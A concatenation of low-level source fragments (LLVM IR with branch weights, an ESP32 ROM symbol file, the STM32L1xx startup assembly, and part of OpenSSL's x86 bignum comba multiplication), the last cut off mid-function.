land.rhs134.preheader:
%scevgep29 = getelementptr i8, i8* %5, i64 %lsr.iv27
%scevgep37 = getelementptr i8, i8* %4, i64 %lsr.iv27
br label %land.rhs134
land.rhs134:
%lsr.iv22 = phi i64 [ 0, %land.rhs134.preheader ], [ %lsr.iv.next23, %if.then152 ]
%33 = phi i8 [ %35, %if.then152 ], [ %32, %land.rhs134.preheader ]
%scevgep30 = getelementptr i8, i8* %scevgep29, i64 %lsr.iv22
%34 = load i8, i8* %scevgep30, align 1
%cmp136 = icmp eq i8 %34, 0
br i1 %cmp136, label %return, label %while.body139, !prof !1009
while.body139:
%cmp142 = icmp eq i8 %33, %34
%cmp146 = icmp eq i8 %34, 42
%or.cond211 = or i1 %cmp142, %cmp146
%cmp150 = icmp eq i8 %33, 94
%or.cond212 = or i1 %or.cond211, %cmp150
br i1 %or.cond212, label %if.then152, label %return, !prof !1010
if.then152:
%scevgep38 = getelementptr i8, i8* %scevgep37, i64 %lsr.iv22
%scevgep39 = getelementptr i8, i8* %scevgep38, i64 1
%35 = load i8, i8* %scevgep39, align 1
%cmp132 = icmp eq i8 %35, 0
%lsr.iv.next23 = add i64 %lsr.iv22, 1
br i1 %cmp132, label %return, label %land.rhs134, !prof !1008
return:
%retval.0 = phi i32 [ 0, %entry ], [ 1, %land.lhs.true52 ], [ 1, %land.lhs.true43 ], [ 0, %if.else123 ], [ 1, %while.cond59.preheader ], [ 1, %while.cond95.preheader ], [ 1, %while.cond130.preheader ], [ 1, %land.lhs.true28 ], [ 1, %if.then83 ], [ 0, %lor.lhs.false74 ], [ 1, %land.rhs ], [ 1, %if.then117 ], [ 0, %while.body104 ], [ 1, %land.rhs99 ], [ 1, %if.then152 ], [ 0, %while.body139 ], [ 1, %land.rhs134 ], [ 0, %while.body ]
ret i32 %retval.0
}
!181 = !{!"branch_weights", i32 662038, i32 1}
!988 = !{!"branch_weights", i32 12091450, i32 1916}
!989 = !{!"branch_weights", i32 7564670, i32 4526781}
!990 = !{!"branch_weights", i32 7484958, i32 13283499}
!991 = !{!"branch_weights", i32 8677007, i32 4606493}
!992 = !{!"branch_weights", i32 -1172426948, i32 145094705}
!993 = !{!"branch_weights", i32 1468914, i32 5683688}
!994 = !{!"branch_weights", i32 114025221, i32 -1217548794, i32 -1199521551, i32 87712616}
!995 = !{!"branch_weights", i32 1853716452, i32 -444717951, i32 932776759}
!996 = !{!"branch_weights", i32 1004870, i32 20259}
!997 = !{!"branch_weights", i32 20071, i32 189}
!998 = !{!"branch_weights", i32 -1020255939, i32 572177766}
!999 = !{!"branch_weights", i32 2666513, i32 3466431}
!1000 = !{!"branch_weights", i32 5117635, i32 1859780}
!1001 = !{!"branch_weights", i32 354902465, i32 -1444604407}
!1002 = !{!"branch_weights", i32 -1762419279, i32 1592770684}
!1003 = !{!"branch_weights", i32 1435905930, i32 -1951930624}
!1004 = !{!"branch_weights", i32 1, i32 504888}
!1005 = !{!"branch_weights", i32 94662, i32 504888}
!1006 = !{!"branch_weights", i32 -1897793104, i32 160196332}
!1007 = !{!"branch_weights", i32 2074643678, i32 -29579071}
!1008 = !{!"branch_weights", i32 1, i32 226163}
!1009 = !{!"branch_weights", i32 58357, i32 226163}
!1010 = !{!"branch_weights", i32 -2072848646, i32 92907517}
|
{
"language": "Assembly"
}
|
.text
.org 0
.globl _start
// xtensa-esp32-elf-gcc -Wl,-N,-Ttext,0x40000000 -nostdlib rom.S -o rom.elf
here = .
#define PROVIDE(name, addr) name = here + addr - 0x40000000
#include "rom_functions.S"
PROVIDE ( _x_unk_40061b88, 0x40061b88 )
PROVIDE ( _x_unk_spi_400622c0, 0x400622c0 )
PROVIDE ( _c_3ff000c8, 0x40062df0 )
PROVIDE ( _c_3ff5b024, 0x40062e0c )
PROVIDE ( _c_3ff5b000, 0x40062e10 )
PROVIDE ( _c_3ff5b020, 0x40062e14 )
PROVIDE ( _c_3ff5b028, 0x40062e18 )
PROVIDE ( _l_40062e90, 0x40062e90 )
PROVIDE ( _l_SPI_Prepare_Encrypt_Data_loop, 0x40062e34 )
PROVIDE ( _l_SPI_Prepare_Encrypt_Data_wait, 0x40062e54 )
PROVIDE ( _l_SPI_Prepare_Encrypt_Data_out, 0x40062e5e )
.text
_start:
.incbin "rom.bin"
_end:
|
{
"language": "Assembly"
}
|
/**
******************************************************************************
* @file startup_stm32l1xx_hd.s
* @author MCD Application Team
* @version V1.3.3
* @date 20-April-2015
* @brief STM32L1xx Ultra Low Power High-density Devices vector table for GCC based toolchain
* This module performs:
* - Set the initial SP
* - Set the initial PC == Reset_Handler,
* - Set the vector table entries with the exceptions ISR address
* - Configure the clock system
* - Branches to main in the C library (which eventually
* calls main()).
* After Reset the Cortex-M3 processor is in Thread mode,
* priority is Privileged, and the Stack is set to Main.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT 2015 STMicroelectronics</center></h2>
*
* Licensed under MCD-ST Liberty SW License Agreement V2, (the "License");
* You may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.st.com/software_license_agreement_liberty_v2
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************************
*/
.syntax unified
.cpu cortex-m3
.fpu softvfp
.thumb
.global g_pfnVectors
.global Default_Handler
/* start address for the initialization values of the .data section.
defined in linker script */
.word _sidata
/* start address for the .data section. defined in linker script */
.word _sdata
/* end address for the .data section. defined in linker script */
.word _edata
/* start address for the .bss section. defined in linker script */
.word _sbss
/* end address for the .bss section. defined in linker script */
.word _ebss
.equ BootRAM, 0xF108F85F
/**
* @brief This is the code that gets called when the processor first
* starts execution following a reset event. Only the absolutely
* necessary set is performed, after which the application
* supplied main() routine is called.
* @param None
* @retval : None
*/
.section .text.Reset_Handler
.weak Reset_Handler
.type Reset_Handler, %function
Reset_Handler:
/* Copy the data segment initializers from flash to SRAM */
movs r1, #0
b LoopCopyDataInit
CopyDataInit:
ldr r3, =_sidata
ldr r3, [r3, r1]
str r3, [r0, r1]
adds r1, r1, #4
LoopCopyDataInit:
ldr r0, =_sdata
ldr r3, =_edata
adds r2, r0, r1
cmp r2, r3
bcc CopyDataInit
ldr r2, =_sbss
b LoopFillZerobss
/* Zero fill the bss segment. */
FillZerobss:
movs r3, #0
str r3, [r2], #4
LoopFillZerobss:
ldr r3, = _ebss
cmp r2, r3
bcc FillZerobss
/* Call the clock system intitialization function.*/
bl SystemInit
/* Call static constructors */
bl __libc_init_array
/* Call the application's entry point.*/
bl main
bx lr
.size Reset_Handler, .-Reset_Handler
/**
* @brief This is the code that gets called when the processor receives an
* unexpected interrupt. This simply enters an infinite loop, preserving
* the system state for examination by a debugger.
*
* @param None
* @retval : None
*/
.section .text.Default_Handler,"ax",%progbits
Default_Handler:
Infinite_Loop:
b Infinite_Loop
.size Default_Handler, .-Default_Handler
/******************************************************************************
*
* The minimal vector table for a Cortex M3. Note that the proper constructs
* must be placed on this to ensure that it ends up at physical address
* 0x0000.0000.
*
******************************************************************************/
.section .isr_vector,"a",%progbits
.type g_pfnVectors, %object
.size g_pfnVectors, .-g_pfnVectors
g_pfnVectors:
.word _estack
.word Reset_Handler
.word NMI_Handler
.word HardFault_Handler
.word MemManage_Handler
.word BusFault_Handler
.word UsageFault_Handler
.word 0
.word 0
.word 0
.word 0
.word SVC_Handler
.word DebugMon_Handler
.word 0
.word PendSV_Handler
.word SysTick_Handler
.word WWDG_IRQHandler
.word PVD_IRQHandler
.word TAMPER_STAMP_IRQHandler
.word RTC_WKUP_IRQHandler
.word FLASH_IRQHandler
.word RCC_IRQHandler
.word EXTI0_IRQHandler
.word EXTI1_IRQHandler
.word EXTI2_IRQHandler
.word EXTI3_IRQHandler
.word EXTI4_IRQHandler
.word DMA1_Channel1_IRQHandler
.word DMA1_Channel2_IRQHandler
.word DMA1_Channel3_IRQHandler
.word DMA1_Channel4_IRQHandler
.word DMA1_Channel5_IRQHandler
.word DMA1_Channel6_IRQHandler
.word DMA1_Channel7_IRQHandler
.word ADC1_IRQHandler
.word USB_HP_IRQHandler
.word USB_LP_IRQHandler
.word DAC_IRQHandler
.word COMP_IRQHandler
.word EXTI9_5_IRQHandler
.word LCD_IRQHandler
.word TIM9_IRQHandler
.word TIM10_IRQHandler
.word TIM11_IRQHandler
.word TIM2_IRQHandler
.word TIM3_IRQHandler
.word TIM4_IRQHandler
.word I2C1_EV_IRQHandler
.word I2C1_ER_IRQHandler
.word I2C2_EV_IRQHandler
.word I2C2_ER_IRQHandler
.word SPI1_IRQHandler
.word SPI2_IRQHandler
.word USART1_IRQHandler
.word USART2_IRQHandler
.word USART3_IRQHandler
.word EXTI15_10_IRQHandler
.word RTC_Alarm_IRQHandler
.word USB_FS_WKUP_IRQHandler
.word TIM6_IRQHandler
.word TIM7_IRQHandler
.word SDIO_IRQHandler
.word TIM5_IRQHandler
.word SPI3_IRQHandler
.word UART4_IRQHandler
.word UART5_IRQHandler
.word DMA2_Channel1_IRQHandler
.word DMA2_Channel2_IRQHandler
.word DMA2_Channel3_IRQHandler
.word DMA2_Channel4_IRQHandler
.word DMA2_Channel5_IRQHandler
.word AES_IRQHandler
.word COMP_ACQ_IRQHandler
.word 0
.word 0
.word 0
.word 0
.word 0
.word BootRAM /* @0x108. This is for boot in RAM mode for
STM32L15x ULtra Low Power High-density devices. */
/*******************************************************************************
*
* Provide weak aliases for each Exception handler to the Default_Handler.
* As they are weak aliases, any function with the same name will override
* this definition.
*
*******************************************************************************/
.weak NMI_Handler
.thumb_set NMI_Handler,Default_Handler
.weak HardFault_Handler
.thumb_set HardFault_Handler,Default_Handler
.weak MemManage_Handler
.thumb_set MemManage_Handler,Default_Handler
.weak BusFault_Handler
.thumb_set BusFault_Handler,Default_Handler
.weak UsageFault_Handler
.thumb_set UsageFault_Handler,Default_Handler
.weak SVC_Handler
.thumb_set SVC_Handler,Default_Handler
.weak DebugMon_Handler
.thumb_set DebugMon_Handler,Default_Handler
.weak PendSV_Handler
.thumb_set PendSV_Handler,Default_Handler
.weak SysTick_Handler
.thumb_set SysTick_Handler,Default_Handler
.weak WWDG_IRQHandler
.thumb_set WWDG_IRQHandler,Default_Handler
.weak PVD_IRQHandler
.thumb_set PVD_IRQHandler,Default_Handler
.weak TAMPER_STAMP_IRQHandler
.thumb_set TAMPER_STAMP_IRQHandler,Default_Handler
.weak RTC_WKUP_IRQHandler
.thumb_set RTC_WKUP_IRQHandler,Default_Handler
.weak FLASH_IRQHandler
.thumb_set FLASH_IRQHandler,Default_Handler
.weak RCC_IRQHandler
.thumb_set RCC_IRQHandler,Default_Handler
.weak EXTI0_IRQHandler
.thumb_set EXTI0_IRQHandler,Default_Handler
.weak EXTI1_IRQHandler
.thumb_set EXTI1_IRQHandler,Default_Handler
.weak EXTI2_IRQHandler
.thumb_set EXTI2_IRQHandler,Default_Handler
.weak EXTI3_IRQHandler
.thumb_set EXTI3_IRQHandler,Default_Handler
.weak EXTI4_IRQHandler
.thumb_set EXTI4_IRQHandler,Default_Handler
.weak DMA1_Channel1_IRQHandler
.thumb_set DMA1_Channel1_IRQHandler,Default_Handler
.weak DMA1_Channel2_IRQHandler
.thumb_set DMA1_Channel2_IRQHandler,Default_Handler
.weak DMA1_Channel3_IRQHandler
.thumb_set DMA1_Channel3_IRQHandler,Default_Handler
.weak DMA1_Channel4_IRQHandler
.thumb_set DMA1_Channel4_IRQHandler,Default_Handler
.weak DMA1_Channel5_IRQHandler
.thumb_set DMA1_Channel5_IRQHandler,Default_Handler
.weak DMA1_Channel6_IRQHandler
.thumb_set DMA1_Channel6_IRQHandler,Default_Handler
.weak DMA1_Channel7_IRQHandler
.thumb_set DMA1_Channel7_IRQHandler,Default_Handler
.weak ADC1_IRQHandler
.thumb_set ADC1_IRQHandler,Default_Handler
.weak USB_HP_IRQHandler
.thumb_set USB_HP_IRQHandler,Default_Handler
.weak USB_LP_IRQHandler
.thumb_set USB_LP_IRQHandler,Default_Handler
.weak DAC_IRQHandler
.thumb_set DAC_IRQHandler,Default_Handler
.weak COMP_IRQHandler
.thumb_set COMP_IRQHandler,Default_Handler
.weak EXTI9_5_IRQHandler
.thumb_set EXTI9_5_IRQHandler,Default_Handler
.weak LCD_IRQHandler
.thumb_set LCD_IRQHandler,Default_Handler
.weak TIM9_IRQHandler
.thumb_set TIM9_IRQHandler,Default_Handler
.weak TIM10_IRQHandler
.thumb_set TIM10_IRQHandler,Default_Handler
.weak TIM11_IRQHandler
.thumb_set TIM11_IRQHandler,Default_Handler
.weak TIM2_IRQHandler
.thumb_set TIM2_IRQHandler,Default_Handler
.weak TIM3_IRQHandler
.thumb_set TIM3_IRQHandler,Default_Handler
.weak TIM4_IRQHandler
.thumb_set TIM4_IRQHandler,Default_Handler
.weak I2C1_EV_IRQHandler
.thumb_set I2C1_EV_IRQHandler,Default_Handler
.weak I2C1_ER_IRQHandler
.thumb_set I2C1_ER_IRQHandler,Default_Handler
.weak I2C2_EV_IRQHandler
.thumb_set I2C2_EV_IRQHandler,Default_Handler
.weak I2C2_ER_IRQHandler
.thumb_set I2C2_ER_IRQHandler,Default_Handler
.weak SPI1_IRQHandler
.thumb_set SPI1_IRQHandler,Default_Handler
.weak SPI2_IRQHandler
.thumb_set SPI2_IRQHandler,Default_Handler
.weak USART1_IRQHandler
.thumb_set USART1_IRQHandler,Default_Handler
.weak USART2_IRQHandler
.thumb_set USART2_IRQHandler,Default_Handler
.weak USART3_IRQHandler
.thumb_set USART3_IRQHandler,Default_Handler
.weak EXTI15_10_IRQHandler
.thumb_set EXTI15_10_IRQHandler,Default_Handler
.weak RTC_Alarm_IRQHandler
.thumb_set RTC_Alarm_IRQHandler,Default_Handler
.weak USB_FS_WKUP_IRQHandler
.thumb_set USB_FS_WKUP_IRQHandler,Default_Handler
.weak TIM6_IRQHandler
.thumb_set TIM6_IRQHandler,Default_Handler
.weak TIM7_IRQHandler
.thumb_set TIM7_IRQHandler,Default_Handler
.weak SDIO_IRQHandler
.thumb_set SDIO_IRQHandler,Default_Handler
.weak TIM5_IRQHandler
.thumb_set TIM5_IRQHandler,Default_Handler
.weak SPI3_IRQHandler
.thumb_set SPI3_IRQHandler,Default_Handler
.weak UART4_IRQHandler
.thumb_set UART4_IRQHandler,Default_Handler
.weak UART5_IRQHandler
.thumb_set UART5_IRQHandler,Default_Handler
.weak DMA2_Channel1_IRQHandler
.thumb_set DMA2_Channel1_IRQHandler,Default_Handler
.weak DMA2_Channel2_IRQHandler
.thumb_set DMA2_Channel2_IRQHandler,Default_Handler
.weak DMA2_Channel3_IRQHandler
.thumb_set DMA2_Channel3_IRQHandler,Default_Handler
.weak DMA2_Channel4_IRQHandler
.thumb_set DMA2_Channel4_IRQHandler,Default_Handler
.weak DMA2_Channel5_IRQHandler
.thumb_set DMA2_Channel5_IRQHandler,Default_Handler
.weak AES_IRQHandler
.thumb_set AES_IRQHandler,Default_Handler
.weak COMP_ACQ_IRQHandler
.thumb_set COMP_ACQ_IRQHandler,Default_Handler
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
{
"language": "Assembly"
}
|
.file "../openssl/crypto/bn/asm/co-586.s"
.text
.globl _bn_mul_comba8
.align 4
_bn_mul_comba8:
L_bn_mul_comba8_begin:
pushl %esi
movl 12(%esp),%esi
pushl %edi
movl 20(%esp),%edi
pushl %ebp
pushl %ebx
xorl %ebx,%ebx
movl (%esi),%eax
xorl %ecx,%ecx
movl (%edi),%edx
# ################## Calculate word 0
xorl %ebp,%ebp
# mul a[0]*b[0]
mull %edx
addl %eax,%ebx
movl 20(%esp),%eax
adcl %edx,%ecx
movl (%edi),%edx
adcl $0,%ebp
movl %ebx,(%eax)
movl 4(%esi),%eax
# saved r[0]
# ################## Calculate word 1
xorl %ebx,%ebx
# mul a[1]*b[0]
mull %edx
addl %eax,%ecx
movl (%esi),%eax
adcl %edx,%ebp
movl 4(%edi),%edx
adcl $0,%ebx
# mul a[0]*b[1]
mull %edx
addl %eax,%ecx
movl 20(%esp),%eax
adcl %edx,%ebp
movl (%edi),%edx
adcl $0,%ebx
movl %ecx,4(%eax)
movl 8(%esi),%eax
# saved r[1]
# ################## Calculate word 2
xorl %ecx,%ecx
# mul a[2]*b[0]
mull %edx
addl %eax,%ebp
movl 4(%esi),%eax
adcl %edx,%ebx
movl 4(%edi),%edx
adcl $0,%ecx
# mul a[1]*b[1]
mull %edx
addl %eax,%ebp
movl (%esi),%eax
adcl %edx,%ebx
movl 8(%edi),%edx
adcl $0,%ecx
# mul a[0]*b[2]
mull %edx
addl %eax,%ebp
movl 20(%esp),%eax
adcl %edx,%ebx
movl (%edi),%edx
adcl $0,%ecx
movl %ebp,8(%eax)
movl 12(%esi),%eax
# saved r[2]
# ################## Calculate word 3
xorl %ebp,%ebp
# mul a[3]*b[0]
mull %edx
addl %eax,%ebx
movl 8(%esi),%eax
adcl %edx,%ecx
movl 4(%edi),%edx
adcl $0,%ebp
# mul a[2]*b[1]
mull %edx
addl %eax,%ebx
movl 4(%esi),%eax
adcl %edx,%ecx
movl 8(%edi),%edx
adcl $0,%ebp
# mul a[1]*b[2]
mull %edx
addl %eax,%ebx
movl (%esi),%eax
adcl %edx,%ecx
movl 12(%edi),%edx
adcl $0,%ebp
# mul a[0]*b[3]
mull %edx
addl %eax,%ebx
movl 20(%esp),%eax
adcl %edx,%ecx
movl (%edi),%edx
adcl $0,%ebp
movl %ebx,12(%eax)
movl 16(%esi),%eax
# saved r[3]
# ################## Calculate word 4
xorl %ebx,%ebx
# mul a[4]*b[0]
mull %edx
addl %eax,%ecx
movl 12(%esi),%eax
adcl %edx,%ebp
movl 4(%edi),%edx
adcl $0,%ebx
# mul a[3]*b[1]
mull %edx
addl %eax,%ecx
movl 8(%esi),%eax
adcl %edx,%ebp
movl 8(%edi),%edx
adcl $0,%ebx
# mul a[2]*b[2]
mull %edx
addl %eax,%ecx
movl 4(%esi),%eax
adcl %edx,%ebp
movl 12(%edi),%edx
adcl $0,%ebx
# mul a[1]*b[3]
mull %edx
addl %eax,%ecx
movl (%esi),%eax
adcl %edx,%ebp
movl 16(%edi),%edx
adcl $0,%ebx
# mul a[0]*b[4]
mull %edx
addl %eax,%ecx
movl 20(%esp),%eax
adcl %edx,%ebp
movl (%edi),%edx
adcl $0,%ebx
movl %ecx,16(%eax)
movl 20(%esi),%eax
# saved r[4]
# ################## Calculate word 5
xorl %ecx,%ecx
# mul a[5]*b[0]
mull %edx
addl %eax,%ebp
movl 16(%esi),%eax
adcl %edx,%ebx
movl 4(%edi),%edx
adcl $0,%ecx
# mul a[4]*b[1]
mull %edx
addl %eax,%ebp
movl 12(%esi),%eax
adcl %edx,%ebx
movl 8(%edi),%edx
adcl $0,%ecx
# mul a[3]*b[2]
mull %edx
addl %eax,%ebp
movl 8(%esi),%eax
adcl %edx,%ebx
movl 12(%edi),%edx
adcl $0,%ecx
# mul a[2]*b[3]
mull %edx
addl %eax,%ebp
movl 4(%esi),%eax
adcl %edx,%ebx
movl 16(%edi),%edx
adcl $0,%ecx
# mul a[1]*b[4]
mull %edx
addl %eax,%ebp
movl (%esi),%eax
adcl %edx,%ebx
movl 20(%edi),%edx
adcl $0,%ecx
# mul a[0]*b[5]
mull %edx
addl %eax,%ebp
movl 20(%esp),%eax
adcl %edx,%ebx
movl (%edi),%edx
adcl $0,%ecx
movl %ebp,20(%eax)
movl 24(%esi),%eax
# saved r[5]
# ################## Calculate word 6
xorl %ebp,%ebp
# mul a[6]*b[0]
mull %edx
addl %eax,%ebx
movl 20(%esi),%eax
adcl %edx,%ecx
movl 4(%edi),%edx
adcl $0,%ebp
# mul a[5]*b[1]
mull %edx
addl %eax,%ebx
movl 16(%esi),%eax
adcl %edx,%ecx
movl 8(%edi),%edx
adcl $0,%ebp
# mul a[4]*b[2]
mull %edx
addl %eax,%ebx
movl 12(%esi),%eax
adcl %edx,%ecx
movl 12(%edi),%edx
adcl $0,%ebp
# mul a[3]*b[3]
mull %edx
addl %eax,%ebx
movl 8(%esi),%eax
adcl %edx,%ecx
movl 16(%edi),%edx
adcl $0,%ebp
# mul a[2]*b[4]
mull %edx
addl %eax,%ebx
movl 4(%esi),%eax
adcl %edx,%ecx
movl 20(%edi),%edx
adcl $0,%ebp
# mul a[1]*b[5]
mull %edx
addl %eax,%ebx
movl (%esi),%eax
adcl %edx,%ecx
movl 24(%edi),%edx
adcl $0,%ebp
# mul a[0]*b[6]
mull %edx
addl %eax,%ebx
movl 20(%esp),%eax
adcl %edx,%ecx
movl (%edi),%edx
adcl $0,%ebp
movl %ebx,24(%eax)
movl 28(%esi),%eax
# saved r[6]
# ################## Calculate word 7
xorl %ebx,%ebx
# mul a[7]*b[0]
mull %edx
addl %eax,%ecx
movl 24(%esi),%eax
adcl %edx,%ebp
movl 4(%edi),%edx
adcl $0,%ebx
# mul a[6]*b[1]
mull %edx
addl %eax,%ecx
movl 20(%esi),%eax
adcl %edx,%ebp
movl 8(%edi),%edx
adcl $0,%ebx
# mul a[5]*b[2]
mull %edx
addl %eax,%ecx
movl 16(%esi),%eax
adcl %edx,%ebp
movl 12(%edi),%edx
adcl $0,%ebx
# mul a[4]*b[3]
mull %edx
addl %eax,%ecx
movl 12(%esi),%eax
adcl %edx,%ebp
movl 16(%edi),%edx
adcl $0,%ebx
# mul a[3]*b[4]
mull %edx
addl %eax,%ecx
movl 8(%esi),%eax
adcl %edx,%ebp
movl 20(%edi),%edx
adcl $0,%ebx
# mul a[2]*b[5]
mull %edx
addl %eax,%ecx
movl 4(%esi),%eax
adcl %edx,%ebp
movl 24(%edi),%edx
adcl $0,%ebx
# mul a[1]*b[6]
mull %edx
addl %eax,%ecx
movl (%esi),%eax
adcl %edx,%ebp
movl 28(%edi),%edx
adcl $0,%ebx
# mul a[0]*b[7]
mull %edx
addl %eax,%ecx
movl 20(%esp),%eax
adcl %edx,%ebp
movl 4(%edi),%edx
adcl $0,%ebx
movl %ecx,28(%eax)
movl 28(%esi),%eax
# saved r[7]
# ################## Calculate word 8
xorl %ecx,%ecx
# mul a[7]*b[1]
mull %edx
addl %eax,%ebp
movl 24(%esi),%eax
adcl %edx,%ebx
movl 8(%edi),%edx
adcl $0,%ecx
# mul a[6]*b[2]
mull %edx
addl %eax,%ebp
movl 20(%esi),%eax
adcl %edx,%ebx
movl 12(%edi),%edx
adcl $0,%ecx
# mul a[5]*b[3]
mull %edx
addl %eax,%ebp
movl 16(%esi),%eax
adcl %edx,%ebx
movl 16(%edi),%edx
adcl $0,%ecx
# mul a[4]*b[4]
mull %edx
addl %eax,%ebp
movl 12(%esi),%eax
adcl %edx,%ebx
movl 20(%edi),%edx
adcl $0,%ecx
# mul a[3]*b[5]
mull %edx
addl %eax,%ebp
movl 8(%esi),%eax
adcl %edx,%ebx
movl 24(%edi),%edx
adcl $0,%ecx
# mul a[2]*b[6]
mull %edx
addl %eax,%ebp
movl 4(%esi),%eax
adcl %edx,%ebx
movl 28(%edi),%edx
adcl $0,%ecx
# mul a[1]*b[7]
mull %edx
addl %eax,%ebp
movl 20(%esp),%eax
adcl %edx,%ebx
movl 8(%edi),%edx
adcl $0,%ecx
movl %ebp,32(%eax)
movl 28(%esi),%eax
# saved r[8]
# ################## Calculate word 9
xorl %ebp,%ebp
# mul a[7]*b[2]
mull %edx
addl %eax,%ebx
movl 24(%esi),%eax
adcl %edx,%ecx
movl 12(%edi),%edx
adcl $0,%ebp
# mul a[6]*b[3]
mull %edx
addl %eax,%ebx
movl 20(%esi),%eax
adcl %edx,%ecx
movl 16(%edi),%edx
adcl $0,%ebp
# mul a[5]*b[4]
mull %edx
addl %eax,%ebx
movl 16(%esi),%eax
adcl %edx,%ecx
movl 20(%edi),%edx
adcl $0,%ebp
# mul a[4]*b[5]
mull %edx
addl %eax,%ebx
movl 12(%esi),%eax
adcl %edx,%ecx
movl 24(%edi),%edx
adcl $0,%ebp
# mul a[3]*b[6]
mull %edx
addl %eax,%ebx
movl 8(%esi),%eax
adcl %edx,%ecx
movl 28(%edi),%edx
adcl $0,%ebp
# mul a[2]*b[7]
mull %edx
addl %eax,%ebx
movl 20(%esp),%eax
adcl %edx,%ecx
movl 12(%edi),%edx
adcl $0,%ebp
movl %ebx,36(%eax)
movl 28(%esi),%eax
# saved r[9]
# ################## Calculate word 10
xorl %ebx,%ebx
# mul a[7]*b[3]
mull %edx
addl %eax,%ecx
movl 24(%esi),%eax
adcl %edx,%ebp
movl 16(%edi),%edx
adcl $0,%ebx
# mul a[6]*b[4]
mull %edx
addl %eax,%ecx
movl 20(%esi),%eax
adcl %edx,%ebp
movl 20(%edi),%edx
adcl $0,%ebx
# mul a[5]*b[5]
mull %edx
addl %eax,%ecx
movl 16(%esi),%eax
adcl %edx,%ebp
movl 24(%edi),%edx
adcl $0,%ebx
# mul a[4]*b[6]
mull %edx
addl %eax,%ecx
movl 12(%esi),%eax
adcl %edx,%ebp
movl 28(%edi),%edx
adcl $0,%ebx
# mul a[3]*b[7]
mull %edx
addl %eax,%ecx
movl 20(%esp),%eax
adcl %edx,%ebp
movl 16(%edi),%edx
adcl $0,%ebx
movl %ecx,40(%eax)
movl 28(%esi),%eax
# saved r[10]
# ################## Calculate word 11
xorl %ecx,%ecx
# mul a[7]*b[4]
mull %edx
addl %eax,%ebp
movl 24(%esi),%eax
adcl %edx,%ebx
movl 20(%edi),%edx
adcl $0,%ecx
# mul a[6]*b[5]
mull %edx
addl %eax,%ebp
movl 20(%esi),%eax
adcl %edx,%ebx
movl 24(%edi),%edx
adcl $0,%ecx
# mul a[5]*b[6]
mull %edx
addl %eax,%ebp
movl 16(%esi),%eax
adcl %edx,%ebx
movl 28(%edi),%edx
adcl $0,%ecx
# mul a[4]*b[7]
mull %edx
addl %eax,%ebp
movl 20(%esp),%eax
adcl %edx,%ebx
movl 20(%edi),%edx
adcl $0,%ecx
movl %ebp,44(%eax)
movl 28(%esi),%eax
# saved r[11]
# ################## Calculate word 12
xorl %ebp,%ebp
# mul a[7]*b[5]
mull %edx
addl %eax,%ebx
movl 24(%esi),%eax
adcl %edx,%ecx
movl 24(%edi),%edx
adcl $0,%ebp
# mul a[6]*b[6]
mull %edx
addl %eax,%ebx
movl 20(%esi),%eax
adcl %edx,%ecx
movl 28(%edi),%edx
adcl $0,%ebp
# mul a[5]*b[7]
mull %edx
addl %eax,%ebx
movl 20(%esp),%eax
adcl %edx,%ecx
movl 24(%edi),%edx
adcl $0,%ebp
movl %ebx,48(%eax)
movl 28(%esi),%eax
# saved r[12]
# ################## Calculate word 13
xorl %ebx,%ebx
# mul a[7]*b[6]
mull %edx
addl %eax,%ecx
movl 24(%esi),%eax
adcl %edx,%ebp
movl 28(%edi),%edx
adcl $0,%ebx
# mul a[6]*b[7]
mull %edx
addl %eax,%ecx
movl 20(%esp),%eax
adcl %edx,%ebp
movl 28(%edi),%edx
adcl $0,%ebx
movl %ecx,52(%eax)
movl 28(%esi),%eax
# saved r[13]
# ################## Calculate word 14
xorl %ecx,%ecx
# mul a[7]*b[7]
mull %edx
addl %eax,%ebp
movl 20(%esp),%eax
adcl %edx,%ebx
adcl $0,%ecx
movl %ebp,56(%eax)
# saved r[14]
# save r[15]
movl %ebx,60(%eax)
popl %ebx
popl %ebp
popl %edi
popl %esi
ret
.globl _bn_mul_comba4
.align 4
_bn_mul_comba4:
L_bn_mul_comba4_begin:
pushl %esi
movl 12(%esp),%esi
pushl %edi
movl 20(%esp),%edi
pushl %ebp
pushl %ebx
xorl %ebx,%ebx
movl (%esi),%eax
xorl %ecx,%ecx
movl (%edi),%edx
# ################## Calculate word 0
xorl %ebp,%ebp
# mul a[0]*b[0]
mull %edx
addl %eax,%ebx
movl 20(%esp),%eax
adcl %edx,%ecx
movl (%edi),%edx
adcl $0,%ebp
movl %ebx,(%eax)
movl 4(%esi),%eax
# saved r[0]
# ################## Calculate word 1
xorl %ebx,%ebx
# mul a[1]*b[0]
mull %edx
addl %eax,%ecx
movl (%esi),%eax
adcl %edx,%ebp
movl 4(%edi),%edx
adcl $0,%ebx
# mul a[0]*b[1]
mull %edx
addl %eax,%ecx
movl 20(%esp),%eax
adcl %edx,%ebp
movl (%edi),%edx
adcl $0,%ebx
movl %ecx,4(%eax)
movl 8(%esi),%eax
# saved r[1]
# ################## Calculate word 2
xorl %ecx,%ecx
# mul a[2]*b[0]
mull %edx
addl %eax,%ebp
movl 4(%esi),%eax
adcl %edx,%ebx
movl 4(%edi),%edx
adcl $0,%ecx
# mul a[1]*b[1]
mull %edx
addl %eax,%ebp
movl (%esi),%eax
adcl %edx,%ebx
movl 8(%edi),%edx
adcl $0,%ecx
# mul a[0]*b[2]
mull %edx
addl %eax,%ebp
movl 20(%esp),%eax
adcl %edx,%ebx
movl (%edi),%edx
adcl $0,%ecx
movl %ebp,8(%eax)
movl 12(%esi),%eax
# saved r[2]
# ################## Calculate word 3
xorl %ebp,%ebp
# mul a[3]*b[0]
mull %edx
addl %eax,%ebx
movl 8(%esi),%eax
adcl %edx,%ecx
movl 4(%edi),%edx
adcl $0,%ebp
# mul a[2]*b[1]
mull %edx
addl %eax,%ebx
movl 4(%esi),%eax
adcl %edx,%ecx
movl 8(%edi),%edx
adcl $0,%ebp
# mul a[1]*b[2]
mull %edx
addl %eax,%ebx
movl (%esi),%eax
adcl %edx,%ecx
movl 12(%edi),%edx
adcl $0,%ebp
# mul a[0]*b[3]
mull %edx
addl %eax,%ebx
movl 20(%esp),%eax
adcl %edx,%ecx
movl 4(%edi),%edx
adcl $0,%ebp
movl %ebx,12(%eax)
movl 12(%esi),%eax
# saved r[3]
# ################## Calculate word 4
xorl %ebx,%ebx
